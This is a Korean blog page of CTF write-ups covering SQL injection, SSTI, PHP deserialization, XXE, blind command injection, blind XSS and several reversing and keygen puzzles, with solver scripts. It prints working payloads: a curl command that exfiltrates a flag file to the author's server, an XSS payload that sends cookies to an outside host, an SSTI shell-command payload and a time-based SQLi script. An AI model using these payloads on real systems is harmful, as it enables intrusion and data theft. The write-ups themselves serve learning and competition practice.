'CTF/Writeup'에 해당되는 글 119건

로그인 창 하나 나오는데 대충 Time Based로 구해주면 된다.

근데 입력 값 중에 몇몇 키워들이 replace 처리되고 replace로 구문이 잘못되도 딱히 에러 뿌려주고 뭐가 필터됬다 이런거 안알려줘서 조금 성가시다. 대충 replace되는 애들 테스트해서 구해보면 핵심 키워드 및 특문은 or,select,' 이다. 

요고만 잘 replace우회해서 디비에 있는 플래그 읽어주면 된다.

payload

import requests

import time

def getFlag(payload):

    time.sleep(1)

    start = time.time()

    url = "http://blackfoxs.org/radar/inj3c7/"

    data = {'pass': payload}

    response = requests.post(url, data=data)

    end = time.time()

    return end-start

strings = "_abcdefghijklmnopqrstuvwxyz0123456789}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

if __name__ == "__main__":

    flag = ""

    for j in range(0, 100):

        binary = ""

        for i in range(0,len(strings)):

            #payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect length(table_name) from infoselectrmation_schema.tables where table_schema=database() limit 0,1) ," + str(j) + ",1))=" + str(ord(strings[i])) + ",sleep(4),1)#"

            payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect flag from flag limit 0,1) ,"+str(j)+",1))="+str(ord(strings[i]))+",sleep(4),1)#"

            if getFlag(payload) > 3:

                flag += strings[i]

                print flag

                break

        print "[-]Flag Password = " + flag

crackme01

메인을 보면 대놓고 플래그 관련 문자열을 보여준다. 그냥 쭉 이어주면 된다.

crackme02

아이디,비밀번호 값을 받아서 간단한 연산을 통해 정수형 값을 구한다음 이 값으로 플래그 테이블 값들을 복호화 한다. 플래그 형식이 encrypt{?} 이기 때문에 간단히 브포 돌려서 encrypt 문자열 있는거 찾아주면 된다.

payload.py

a = "08030E1F141D192E392B162C010A021F041905001E4003021940080C1E1410"

flag = ""

for j in range(0,128):

    flag = ""

    for i in range(0,len(a),2):

        flag +=chr(int("0x"+a[i:i+2],16)^j)

    if "encrypt" in flag:

        print flag

crackme03

5가지 조건에 맞는 인풋을 넣어주면 되는데 아래와 같이 로직이 상당히 심플하다. 

아래와 같이 인풋 구해서 원격서버에 보내주면 플래그가 나온다.

payload.py

from pwn import *

def getInput_1():

return "CRACKME02"

def getInput_2():

return p32(0xDEADBEEF)

def getInput_3():

return "ZXytUb9fl78evgJy3KJN"

def getInput_4():

for i in range(0,128):

if i * i * i + 2 * (2 * i * i - i) - 3==0:

return str(i)

def getInput_5():

table = [0xD5,0xCE,0xE7,0xC9,0x69]

frontString = ""

endString = ""

for i in range(0,len(table)):

if i == len(table)-1:

frontString += chr(table[i])

break

if table[i]%2==0:

frontString += chr(table[i]/2)

endString += chr(table[i]/2)

else:

frontString += chr(table[i] / 2)

endString += chr(table[i] / 2+1)

print frontString

print endString

return frontString+endString[::-1]

p = remote('104.154.106.182', 7777)

p.sendlineafter(': ', getInput_1())

p.sendlineafter(': ', getInput_2())

p.sendlineafter(': ', getInput_3())

p.sendlineafter(': ', getInput_4())

p.sendlineafter(': ', getInput_5())

p.interactive()

Sweeeeeet

들어가보면 아무것도 없다. 그냥 페이지 들가보면 쿠키값에 플래그처럼 보이는거 세팅되는데 가짜다. 할수있는게 딱히 없는데 쿠키 값 보면 md5처럼 보이는 값이 있다. 이거 레인보우 테이블에 돌려보면 100나오는데 0으로 md5만들어서 보내주면 플래그 나온다.

Slash Slash

Flask 소스를 주는데 코드를 보면 특정 페이지 요청할때 서버 내 저장된 환경변수 값 읽어서 뿌려준다. 근데 원격서버가 아니고 소스만 주고 내 서버에서 하라해서 해보면 환경변수가 당연히 세팅이 안되있어서 플래그가 안나온다. 근데 주석보면 virtualenv라는 파이썬 가상환경 같은걸로 돌려보라고 되있다. 해당 환경대로 구축해서 돌리면 서버 구동할 때 환경변수가 세팅되는 듯 한데, 이게 상당히 귀찮은 작업이라 대충 꼼수로 생각해보면 어쨋든 서버 구동하면서 환경변수 세팅하는 코드가 내가 받은 코드 중에 존재할 수 밖에 없다. 컴파일된 pyc면 죄다 디컴해서 확인해야해서 상당히 귀찮을 수 있는데 일단 이 가능성 배제하고 환경변수 세팅이 가능한 setenv(python code) or export(linux shell)로 다운받은 전체 코드 검색해보면 딱봐도 수상해보이는 export로 세팅해주는 base64 인코딩 값이 있다. 이거 디코딩해주면 플래그 나온다. 

vault

로그인창하나 나오는데, 인젝션해주면 로그인되면서 flag.png인가 qrcode이미지 준다. 이거 디코딩해봤자 이상한 링크하나 나와 의미가 없다. 디비 다 뒤져봐도 플래그가 없다. 근데 file_priv가 살아있어서 블라인드로 파일 내용 읽을 수 있다. 근데 또 mysql 권한으로 소스코드 leak가 안된다. 답도 없는 상황인데 자세히보면 그냥 인젝션으로 로그인만 해주면 세션 쿠키에 base64인코딩된 플래그가 있다.

repeaaaaaat

간단한 flask ssti다. 필터가 아예 없어서 그냥 아래 페이로드로 구해주면 된다.

payload = {{url_for.__globals__.os.popen('cat ./flag.txt').read()}}

Easy Rev

핵심 코드를 보면 아래 코드 리턴 값이 10이면 된다.

v18 = __readfsqword(0x28u);

  v2 = 0;

  v3 = 3;

  v4 = 0;

  v8 = 79;

  v9 = 4;

  v10 = 36;

  v11 = 628;

  v12 = 117;

  v13 = 62;

  v14 = 2458;

  v15 = -101;

  v16 = 41;

  v17 = 239;

  for ( i = 0; i <= 9; ++i )

  {

    if ( v4 % 3 )

    {

      if ( v4 % 3 == 1 )

        v3 -= i;

      else

        v3 += i;

    }

    else

    {

      v3 *= i;

    }

    *(_DWORD *)(a1 + 4LL * i) = v3 ^ *(_DWORD *)(4LL * i + a1);

    ++v4;

  }

  for ( j = 0; j <= 9; ++j )

    *(_DWORD *)(4LL * j + a1) ^= 0xFu;

  for ( k = 0; k <= 9; ++k )

  {

    if ( *(_DWORD *)(4LL * k + a1) == *(&v8 + k) )

      ++v2;

  }

  return v2;

}

코드가 간단해서 리턴값을 대충 아래와 같이 구해주면 어떤 값이 나오는데 이걸 키 값으로 문제에서 제공해준 플래그 파일을 ubuntu 16.04 환경의 openssl로 aes-256-cbc 형식에 맞춰 복호화 해주면 된다.

get_key.py

table = [79, 4, 36, 628, 117, 62, 2458, -101, 41, 239]

result = []

for i in xrange(10):

    result.append(table[i] ^ 0x0F)

v3 = 3

v4 = 0

key = 0

for i in xrange(10):

    if (v4 % 3):

        if (v4 % 3 == 1):

            v3 -= i

        else:

            v3 += i

    else:

        v3 *= i

    result[i] ^= v3

    key += result[i]

    v4 += 1

print key

seori

쭉 디버깅하다보면 아래 코드에서 특정 리소스 값을 가져온 다음 간단한 xor 연산을 통해 복호화를 한다. 복호화된 값을 디버깅을 통해 확인해보면 jpeg 파일 헤더인걸 볼 수 있고 이 값을 쭉 긁어서 실행해보면 이미지 파일 내 플래그가 나온다.

int __cdecl sub_F211E0(int a1)

{

  int v1; // eax

  int v2; // eax

  int v3; // eax

  int v4; // eax

  int v5; // eax

  int v6; // eax

  int v7; // ST0C_4

  int v8; // eax

  int v9; // eax

  int v10; // eax

  char v12; // [esp+4h] [ebp-1Ch]

  int v13; // [esp+8h] [ebp-18h]

  void *Dst; // [esp+14h] [ebp-Ch]

  DWORD v15; // [esp+18h] [ebp-8h]

  DWORD i; // [esp+1Ch] [ebp-4h]

  v1 = sub_F21400(std::cout, "Hi FRIEND!");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v1, sub_F21740);

  v2 = sub_F21400(std::cout, "I HAVE PRETTY CAT. DO YOU WANT TO SEE A CAT? ");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v2, sub_F21740);

  v3 = sub_F21400(std::cout, "UNFORTUNATELY THE CAT IS HIDING :( ");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, sub_F21740);

  v4 = sub_F21400(std::cout, "FIND MY CAT!");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v4, sub_F21740);

  sub_F210F0();

  v12 = sub_F21080(a1);

  hModule = LoadLibraryW(L"Seori.exe");

  hResInfo = FindResourceW(hModule, (LPCWSTR)0x65, L"SEORI");

  v15 = SizeofResource(hModule, hResInfo);

  hResData = LoadResource(hModule, hResInfo);

  dword_F25380 = (int)LockResource(hResData);

  v13 = dword_F25380;

  Dst = malloc((v15 + 1) | -__CFADD__(v15, 1));

  memset(Dst, 0, v15 + 1);

  for ( i = 0; i < v15; ++i )

    *((_BYTE *)Dst + i) = v12 ^ *(_BYTE *)(i + v13);

  v5 = std::basic_ostream<char,std::char_traits<char>>::operator<<(std::cout, sub_F21740);

  v6 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v5, -122569430);

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v6, v7);

  v8 = sub_F21400(std::cout, "HAVE YOU SEEN MY CAT?");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v8, sub_F21740);

  v9 = sub_F21400(std::cout, "I THINK MY CAT IS REALLY CUTE.");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v9, sub_F21740);

  v10 = sub_F21400(std::cout, "I HOPE TO FIND MY CAT!");

  std::basic_ostream<char,std::char_traits<char>>::operator<<(v10, sub_F21740);

  return 0;

}

J._.n3utr0n

파일을 실행해서 디버깅해보면 drop.exe란 파일을 드랍한 다음 svchost.exe 프로세스를 생성해서 해당 프로세스에 drop.exe파일 내용을 삽입하고 drop.exe를 삭제한다. 디버깅을 통해 drop.exe를 삭제하지 않도록 한 후에 해당 파일을 ida로 다시 까보면 아래와 같이 플래그를 뿌려주는 코드가 나온다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)

{

  char v3; // [esp+8h] [ebp-24h]

  int v4; // [esp+9h] [ebp-23h]

  int v5; // [esp+Dh] [ebp-1Fh]

  int v6; // [esp+11h] [ebp-1Bh]

  int v7; // [esp+15h] [ebp-17h]

  int v8; // [esp+19h] [ebp-13h]

  int v9; // [esp+1Dh] [ebp-Fh]

  int v10; // [esp+21h] [ebp-Bh]

  __int16 v11; // [esp+25h] [ebp-7h]

  char v12; // [esp+27h] [ebp-5h]

  v3 = -10;

  v4 = -762125422;

  v5 = -825702001;

  v6 = -627256692;

  v7 = -1663312432;

  v8 = -640377722;

  v9 = -1663840048;

  v10 = -791751733;

  v11 = -25128;

  v12 = 0;

  sub_10A1040("flag is : %s\n", &v3);

  exit(1);

}

근데 플래그에 해당하는 값이 뭔가 암호화된 것 같은 값이다. 플래그를 뿌려주는 함수들을 쭉쭉타고 들어가봐도 별다른게 없었다. 여기서 엄청 헤맸는데 헥스레이를 너무 맹신한게 문제였다. 해당 함수를 어셈으로 확인해보면 특정 분기 조건이 무조건 참이라 실행되지 않는 함수가 있다. 해당 함수를 보면 실제 플래그 복호화 루틴이 나온다. 디버깅으로 분기 조건을 수정해 복호화 루틴타게 해주면 플래그가 나온다.

EasyPhp

간단한 php 트릭류 문제다.

소스는 아래와 같다.

<?php

include "flags.php";

highlight_file(__FILE__);

error_reporting(0);

$str1 = $_GET['1']; 

if(isset($_GET['1'])){ 

    if($str1 == md5($str1)){ 

        echo $flag1; 

    } 

    else{ 

        die(); 

    } 

} 

else{ 

    die();    

} 

$str2 = $_GET['2']; 

$str3 = $_GET['3']; 

if(isset($_GET['2']) && isset($_GET['3'])){ 

    if($str2 !== $str3){ 

        if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){ 

            echo $flag2; 

        } 

        else{ 

            die(); 

        } 

    } 

    else{ 

        die(); 

    } 

} 

else{ 

    die();    

} 

class Secrets { 

    var $temp; 

    var $flag; 

} 

if (isset($_GET['4'])) { 

    $str4 = $_GET['4']; 

    if(get_magic_quotes_gpc()){ 

        $str4=stripslashes($str4); 

    } 

    $res = unserialize($str4); 

    if ($res) { 

    $res->flag=$flag3; 

        if ($res->flag === $res->temp) 

            echo $res->flag; 

        else 

            die(); 

    } 

    else die(); 

} 

?>

첫번째 조건은 php Type Juggling 사용해서 값 구해주면 되고, 두번째도 array 트릭으로 우회해주면 된다. 마지막 unserialize쪽은 첨 보는 류의 bypass코드였는데 위 코드가 성립하려면 $res->temp가 무조건 $res->flag를 가리켜야 할 것 같았다. 딱 상황이 레퍼런스 변수 사용할때 느낌이었는데 php에서도 레퍼런스 변수 사용이 가능한가 찾아보니 사용가능하길래 바로 요걸로 serialize데이터를 만들었다.

<?php

class Secrets { 

    var $temp; 

    var $flag; 

} 

$a = new Secrets();

$a->temp=&$a->flag;

echo serialize($a);

result = O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}

Final Payload

?1=0e215962017&2[]=123&3[]=456&4=O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}

Flag = b00t2root{wh4t3v3r_17_74k3s_cuz_1_l0v3_th3_4dren4l1n3_1n_my_v31ns_932b315}

Set Me Free

간단한 SQLI 문제이다.

계정 등록 시 아이디 존재여부 확인하는 쿼리에서 Blind SQLi가 가능해서 이걸로 isRestricted 권한이 False인 계정의 아이디 비번구해서 로그인해주면 된다.

근데 인젝션으로 isRestricted 권한이 False인 계정을 찾으면 안나온다. 그래서 isRestricted가 아닌 userId가 check 테이블에 존재하지 않는 계정을 찾아서 로그인해주면 플래그가 나온다.

Flag = b00t2root{Y0u'r3_5UCcesful_In_S37t1ng_M3_fr33!}

PingService

간단한 Blind Command Injection 문제다.

대충 X-Forwarded-For 세팅해주고 들어가면 ping 명령어를 사용하는 페이지가 나오는데 코드를 보면 아래와 같다.

<?php 

require_once('helper.php'); 

if (getIP() != "127.0.0.1"){ 

?> 

<!DOCTYPE html> 

<html> 

<head> 

    <meta charset="utf-8"> 

    <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> 

</head> 

<body> 

<?php 

    die("Oye! This service is only for local client"); 

?> 

</body> 

</html> 

<?php 

}else{ 

?> 

<html> 

<head> 

    <meta charset="utf-8"> 

    <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> 

</head> 

<body> 

  <div class="login"> 

    <div class="login-screen"> 

      <div class="app-title"> 

        <h1>Ping Service</h1> 

      </div> 

<form action="" method="post"> 

      <div class="login-form"> 

        <div class="control-group"> 

        <input type="text" class="login-field" placeholder="8.8.8.8" id="ip" name="ip"> 

        <label class="login-field-icon fui-user" for="login-form"></label> 

        </div> 

        <button type="submit" class="btn btn-primary btn-large btn-block">Submit</button> 

      </div> 

      </form>  

    </div> 

  </div> 

  </body> 

</html> 

<?php 

if(!isset($_POST['ip'])){ 

    highlight_file(__FILE__); 

} 

else if(isset($_POST['ip'])) { 

    $ip = $_POST['ip']; 

    $ip = 'ping -c 1 '.clean($ip); 

    $res = str_replace("\n", "</br>\n", shell_exec($ip)); 

    if(strpos($res, "100% packet loss")!==false){ 

      echo "<center> <h2 style='color:red'>Not Alive </h2></center>"; 

    } 

    else{ 

      echo "<center> <h2 style='color:yellow'>Alive </h2></center>"; 

    } 

} 

} 

?>

별게 없어보이는데 clean이라는 함수가 명령어 실행전에 수행된다. 여기서 필터가 이루어지고 있는데 해당 함수가 존재하는 helper.php 파일의 tiled 파일이 존재해서 소스코드 leak가 가능하다.

<?php

function getIP()

{

if (@$_SERVER["HTTP_X_FORWARDED_FOR"]){

$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];

}else if (@$_SERVER["HTTP_CLIENT_IP"]){

$ip = $_SERVER["HTTP_CLIENT_IP"];

}else if (@$_SERVER["REMOTE_ADDR"]){

$ip = $_SERVER["REMOTE_ADDR"];

}else if (@getenv("HTTP_X_FORWARDED_FOR")){

$ip = getenv("HTTP_X_FORWARDED_FOR");

}else if (@getenv("HTTP_CLIENT_IP")){

$ip = getenv("HTTP_CLIENT_IP");

}else if (@getenv("REMOTE_ADDR")){

$ip = getenv("REMOTE_ADDR");

}else{

$ip = "Unknown";

}

return $ip;

}

function clean($data) {

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $data))) {

die('<center><h2 style="color:red;">Shoo Go Away heckermen... Thats not an IP Address</h2></center>');

}

    $black_list = array('"', "'", " ","\n");

    foreach ($black_list as $key) {

        // if(strpos($data, $key) !== false){

        //     die("<center> Not Allowed </center>");

        // }

        $data = str_replace($key, '', $data);

    }

    return $data;

}

?>

clean 함수를 보면 preg_match에서 m 옵션을 쓰고있어서 우회가 가능해진다.

개행으로 preg_match 넘겨주고 개행이 그다음 필터에서 replace 당하기때문에 커멘드 구분은 개행말고 ; 써주면 되고 공백은 $IFS써주면 된다.. 그담부턴 걍 curl로 플래그 파일 읽어서 내 서버로 보내주면 된다.

payload = 8.8.8.8%0a;curl$IFS$@http://my_server:9876/?`cat$IFS$@./flag.php|base64`

Flag = b00t2root{mr.s74rk_1_d0nt_feel_s0_g00d}

eXquisite Scenery Sites

간단한 Blind XSS 문제이다.

필터당하면 필터당했다고 친절하게 알려주고 필터가 별로 안빡세서 대충 필터당하는애들 적절히 우회해주면된다. 길이제한이 80글자로 있었는데 내가쓴 페이로드는 크게 길이제한에 안걸려서 상관없었다.

Payload = <svg/onload=location['href']='http://2109004139:9098/?'%2bdocument['cookie']>

Flag = b00t2root{why_y0u_st34l_my_c00ki3s?}

문제 바이너리를 ida로보면 함수가 엄청 커서 헥스레이가 안된다. 근데 어셈을 보면 단순히 인풋을 1바이트씩 비교하는 로직이 반복된다.

이 때 인풋을 비교할 때 단순하게 1바이트를 비교하는 경우랑 인풋값이랑 특정 값을 xor해서 비교하는 연산 두가지 케이스로 나뉜다.

위 케이스에 맞춰서 비교하는 값들을 파이썬으로 대충 구해 쭉 출력해보면 플래그가 나온다.

solve.py

f = open("C:\Users\Administrator\Downloads\\secu","r")

contents = f.read().split("\n")

flag = ""

for i in xrange(len(contents)):

    if "cmp" in contents[i]:

        if "rbp" in contents[i]:

            tmp = contents[i-1].split(',')

            xorValue = tmp[1].replace(" ","").replace("h","")

            tmp = contents[i].split(',')

            result = tmp[1].split('h ;')

            result = chr(int("0x" + result[0].replace(" ", "").replace("h", ""), 16)^int("0x"+xorValue,16))

            flag += result

        else:

            tmp = contents[i].split(',')

            result = tmp[1].split('h ;')

            result = chr(int("0x"+result[0].replace(" ","").replace("h",""),16))

            flag += result

start = flag.find("securinets")

end = flag[start:].find("}")+1

print "[*]Find Flag = "+flag[start:start+end]

[*]Find Flag = securinets{automating_everything_is_the_new_future}

Feedback

XXE 인젝션이 대놓고 터진다. 문제에서 Flag파일을 읽으라고해서 현재경로의 Flag파일 읽어보면 플래그가 나온다.

Custom Location

문제에 들어가보면 아무것도 없다. 아무 페이지나 요청해보면 에러가 터지는데 에러페이지에서 소스코드를 볼수있게 해주는 기능이 있다. 약간 lfi 같은 느낌인데 경로 조작이 안되서 해당 프레임워크에서 정해놓은 경로의 파일들만 읽기가 가능하다. 여기서부턴 그냥 내가 읽을 수 있는 파일들을 다 읽어보고 해당 파일내에 존재하는 경로 파일 또 다읽는식의 개노가다 삽질을 하면 플래그 파일이 나온다. 리얼월드에서 최대한 많은 정보 수집하려고 할때는 물론 이런식으로 모든 소스코드 leak를 하긴 하는데 씨텝에서 이런식으로 기법에 대한 고민이 아닌 단순 게싱 노가다 느낌으로 플래그 유도할줄은 상상도 못했다. 문제 풀고나서도 상당히 기분이 안좋았던 문제라 기억에 남는다.

SQL Injected

소스코드를 제공해주는데 Indirect SQLi가 터진다. 계정등록하면 바로 로그인되는데 이 때 세팅되는 세션의 username값에는 필터가 적용된 값이 저장되서 재로그인해서 indirect SQLI 값 세팅해주면된다. 그다음부터는 별도로 필터가 없어서 role값이 1인 계정의 비번구해서 로그인해주면 플래그 나온다.

Beginner's Luck

소스코드를 제공해주는데 대놓고 Blind SQLI가 터진다. 근데 세션하나당 10번밖에 요청을 못해서 인젝션 할 때 세션값을 10번마다 새로 세팅받아서 해주면된다. 내 IP에 해당하는 토큰값을 디비에서 구해가지고 입력해주면 플래그 나온다.

Trading values

요건 대회 때 마지막까지 잡고있었는데 시간안에 풀지를 못하고 계속 삽질하면서 밤새다 거의 출근직전에 풀었다. 요거 풀었으면 팀이 10등권이었는데 조금 아쉬웠다.

문제를 보면 원본 값이 아래와 같은 형태였는데

/default?formula=KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc%3D&values%5Bv1%5D=STC&values%5Bv2%5D=PLA&values%5Bv3%5D=SDF&values%5Bv4%5D=OCK

formula 값을 디코딩해보면 뒤에 values 배열의 키 값으로 정의된 변수들이 사용되고 있었다.

formula 값을 v1로 지정한담에 base64 디코딩해서 보내주면 다음과 같이 객체 정보가 나왔다.

object(App\Entity\STC)#233 (4) {

  ["id":"App\Entity\STC":private]=>

  NULL

  ["avg"]=>

  int(71)

  ["mpk"]=>

  int(11)

  ["drf"]=>

  int(13)

}

여기서 값이 딱 Node.js Eval했을때 값이라 Node Code injection하면 될 것 같았는데 이상하게 관련 함수 및 객체가 죄다 안먹혔다. 그나마 현 상황에서 뿌려지는게 객체 속성들 보는거여서 Node.js의 내장 객체들을 죄다 찾다서 시도해봤다. root,global이런거 다안됬는데 this를 써보니까 응답 값에 플래그가 나왔다. 뭔가 풀긴 했는데 다른게 안되는 이유들이 이해가 안가서 약간 찝찝했다.

바이너리를 보면 간단한 키젠미 문제인데, 문제 이름에서도 느껴지듯이 바이너리가 난독화 되어있다. 

플래그가 출력되려면 verify_key 함수의 리턴 값이 1이어야 되는데 헥스레이로 코드를 보면 무조건 0이 리턴되길래 인풋이 들어가는 enc함수에서 동적으로 코드영역을 패치해 리턴값을 세팅하는 부분이 있는 건가 하고 해당 함수를 보니 코드가 요상하게 난독화 되어 있었다.

__int64 __fastcall verify_key(char *a1)

{

  if ( strlen(a1) > 9 && strlen(a1) <= 0x40 )

    enc(a1);

  return 0LL;

}

void __fastcall __noreturn enc(const char *a1)

{

  __int64 v1; // rdx

  __int64 v2; // rcx

  __int64 v3; // r8

  obf::for_wrapper *v4; // rax

  __int64 v5; // rbx

  __int64 v6; // rbx

  char *s; // [rsp+18h] [rbp-D8h]

  int v8; // [rsp+2Ch] [rbp-C4h]

  int v9; // [rsp+30h] [rbp-C0h]

  char v10; // [rsp+34h] [rbp-BCh]

  void *v11; // [rsp+38h] [rbp-B8h]

  _BYTE *v12; // [rsp+40h] [rbp-B0h]

  __int64 v13; // [rsp+50h] [rbp-A0h]

  __int64 v14; // [rsp+58h] [rbp-98h]

  __int64 v15; // [rsp+60h] [rbp-90h]

  __int64 v16; // [rsp+68h] [rbp-88h]

  char v17; // [rsp+70h] [rbp-80h]

  void **v18; // [rsp+90h] [rbp-60h]

  char *v19; // [rsp+98h] [rbp-58h]

  char **v20; // [rsp+A0h] [rbp-50h]

  _BYTE **v21; // [rsp+A8h] [rbp-48h]

  int *v22; // [rsp+B0h] [rbp-40h]

  unsigned __int64 v23; // [rsp+B8h] [rbp-38h]

  s = (char *)a1;

  v23 = __readfsqword(0x28u);

  v8 = 3;

  v13 = 0LL;

  v14 = 0LL;

  v11 = malloc(0x40uLL);

  v9 = strlen(a1);

  v12 = malloc(5uLL);

  obf::Num<int,3858>::Num(&v18);

  *v12 = (unsigned __int64)obf::Num<int,3858>::get(&v18) ^ 0xCC;

  obf::Num<int,2568>::Num(&v18);

  v12[1] = (unsigned __int64)obf::Num<int,2568>::get(&v18) ^ 0xA5;

  obf::Num<int,1868>::Num(&v18);

  v12[2] = (unsigned __int64)obf::Num<int,1868>::get(&v18) ^ 0xF2;

  obf::Num<int,749>::Num(&v18);

  v12[3] = (unsigned __int64)obf::Num<int,749>::get(&v18) ^ 2;

  obf::Num<int,1056>::Num(&v18);

  v12[4] = (unsigned __int64)obf::Num<int,1056>::get(&v18) ^ 0x20;

  v15 = 0LL;

  v16 = 0LL;

  obf::for_wrapper::for_wrapper<enc(char const*)::{lambda(void)#1},enc(char const*)::{lambda(void)#2},enc(char const*)::{lambda(void)#3}>(

    (__int64)&v17,

    (__int64)&v10);

  v18 = &v11;

  v19 = &v10;

  v20 = &s;

  v21 = &v12;

  v22 = &v8;

  v4 = (obf::for_wrapper *)obf::for_wrapper::set_body<enc(char const*)::{lambda(void)#4}>(

                             (__int64)&v17,

                             (__int64)&v10,

                             v1,

                             v2,

                             v3);

  obf::for_wrapper::run(v4);

  obf::for_wrapper::~for_wrapper((obf::for_wrapper *)&v17);

  std::shared_ptr<obf::base_rvholder>::~shared_ptr(&v15);

  v5 = operator new(0x18uLL);

  obf::rvholder<char *>::rvholder(v5, v11, v11);

  std::__shared_ptr<obf::base_rvholder,(__gnu_cxx::_Lock_policy)2>::reset<obf::rvholder<char *>>(&v13, v5);

  v6 = __cxa_allocate_exception(16LL);

  std::shared_ptr<obf::base_rvholder>::shared_ptr(v6, &v13);

  __cxa_throw(v6, &`typeinfo for'std::shared_ptr<obf::base_rvholder>, std::shared_ptr<obf::base_rvholder>::~shared_ptr);

}

뭔가 이상하다 싶어 verify_key 함수의 어셈코드를 보니 아래와 같이 코드 영역 중간부분을 ida가 데이터로 해석하고 있었다.

해당 부분을 convert해서 보면 아래와 같이 strcmp를 통해 어떤 값들을 비교하는걸 볼 수 있었다.

두 값을 디버깅을 통해 확인해보면 인풋을 enc함수 내에서 암호화 해 아래의 값과 비교하는걸 볼 수 있었다.

[0xAE,0x9E,0xFF,0x9C,0xAB,0xC7,0xD3,0x81,0xE7,0xEE,0xFB,0x8A,0x9D,0xEF,0x8D,0xAE]

input이 위의 값이 되도록 하면되는데 중요한건 enc 함수가 난독화되어 있어서 분석이 매우 어려웠다. 그래서 해당 함수를 분석하지 않고 일단 input이 해당 함수를 거친 후 어떻게 return되는지를 통해 해당 함수 동작을 추측해봤다.

input으로 1111111111111111 값을 주고 암호화된 값을 확인해 보면 4바이트씩 값이 반복되는걸 볼 수 있었다. 단순하게 4바이트 키 값으로 xor한다고 생각해 key를 추출해서 위의 비교 대상인 값을 xor해보면 아래와 같은 값이 나온다.

getFlag.py

table_key = [0xAE,0x9E,0xFF,0x9C,0xAB,0xC7,0xD3,0x81,0xE7,0xEE,0xFB,0x8A,0x9D,0xEF,0x8D,0xAE]

key = [222,173,190,239]

flag = ""

for i in xrange(len(table_key)):

    flag += chr(table_key[i]^key[i%4])

print flag

result = p3Asujmn9CEeCB3A

해당 값을 바이너리 실행 후 입력해보면 플래그가 나온다.

전형적인 키젠미 문제고 z3를 사용해 주면 된다.

z3에 사용될 조건들을 보면 조금 특이한게 인풋들이 custom ord,mod 함수를 통해 재 정의된다. 

해당 함수들이 하는 역할은 0~9,A~Z의 ascii 값을 0~35의 int형 값으로 변환해 주는 역할을 한다.

위 형식에 맞춰 z3로 구해진 값을 다시 변환해주면 유효한 input이 나오고 해당 input을 통해 원격 서버의 바이너리를 실행해보면 플래그를 구할 수 있다.

solve.py

from z3 import *

def custom_ord(data):
    if And(data>47,data<58):
        return data-48
    elif And(data>64,data<91):
        return data-55
    else:
        print "Not Found Custom Ord!!!! Exit!!!"
        exit(1)

def custom_mod(data1,data2):
    return data1%data2


a1 = []
for i in xrange(16):
    a1.append(z3.Int('a1['+str(i)+']'))
s = Solver()

for i in xrange(16):
    s.add(And(a1[i]>-1,a1[i]<36))
    #s.add(custom_mod(custom_ord(a1[0])+custom_ord(a1[1]),36)==14)
    s.add(custom_mod(a1[0]+a1[1],36)==14)
    s.add(custom_mod(a1[2] + a1[3], 36) == 24)
    s.add(custom_mod(a1[2] - a1[0], 36) == 6)
    s.add(custom_mod(a1[1] + a1[3] + a1[5], 36) == 4)
    s.add(custom_mod(a1[2] + a1[4] + a1[6], 36) == 13)
    s.add(custom_mod(a1[3] + a1[4] + a1[5], 36) == 22)
    s.add(custom_mod(a1[6] + a1[8] + a1[10], 36) == 31)
    s.add(custom_mod(a1[1] + a1[4] + a1[7], 36) == 7)
    s.add(custom_mod(a1[9] + a1[12] + a1[15], 36) == 20)
    s.add(custom_mod(a1[13] + a1[14] + a1[15], 36) == 12)
    s.add(custom_mod(a1[8] + a1[9] + a1[10], 36) == 27)
    s.add(custom_mod(a1[7] + a1[12] + a1[13], 36) == 23)


flag = ""
if s.check() == z3.sat:
    try:
        m = s.model()
        print m
        for i in range(0, 16):
            if int(str(m[a1[i]]))<10:
                flag += chr(int(str(m[a1[i]]))+48)
            else:
                flag += chr(int(str(m[a1[i]])) + 55)
        print flag
    except:
        print "Not Found"

문제를 보면 입력 값이 총 4개의 함수를 거치면서 변환되고 이 값을 특정 값과 비교한다.

먼저 첫번째 함수를 보면 아래와 같이 개행문자를 널값으로 치환하여 문자열 끝처리를 한다.

두번째 함수는 문자열을 reverse 시키는 연산을 하는걸 볼 수 있다.

세번째 함수가 핵심 로직으로 연산이 역연산짜기 좀 까다로워서 Bruteforcing형태로 해결했다.

마지막 네번째 함수는 간단한 보수연산을 한다.

위 로직들에 맞춰 인풋의 각 자리별 문자를 BruteFocing하는 형태로 플래그를 구해줬다.

flagTable = [0x41,0x29,0xD9,0x65,0xA1,0xF1,0xE1,0xC9,0x19,0x09,0x93,0x13,0xA1,0x09,0xB9,0x49,0xB9,0x89,0xDD,0x61,0x31,0x69,0xA1,0xF1,0x71,0x21,0x9D,0xD5,0x3D,0x15,0xD5]

flag = ""

for i in xrange(len(flagTable)):

    for j in xrange(256):

        v1 = 2 * (j&0x55) | (j>>1)&0x55

        v2 = 4 * (v1 & 0x33) | (v1 >> 2) & 0x33

        result = 16 * v2 | (v2 >> 4)

        if result&0xff == ~flagTable[i]&0xff:

            flag += chr(j)

print "[*]Find Flag = " + flag[::-1]

[*]Find Flag = TWCTF{qpzisyDnbmboz76oglxpzYdk}

안드로이드 게임 앱 리버싱 문제다.

1945같은 간단한 비행 게임인데 문제 설명란에 최고점수를 얻으라고 나와있다.

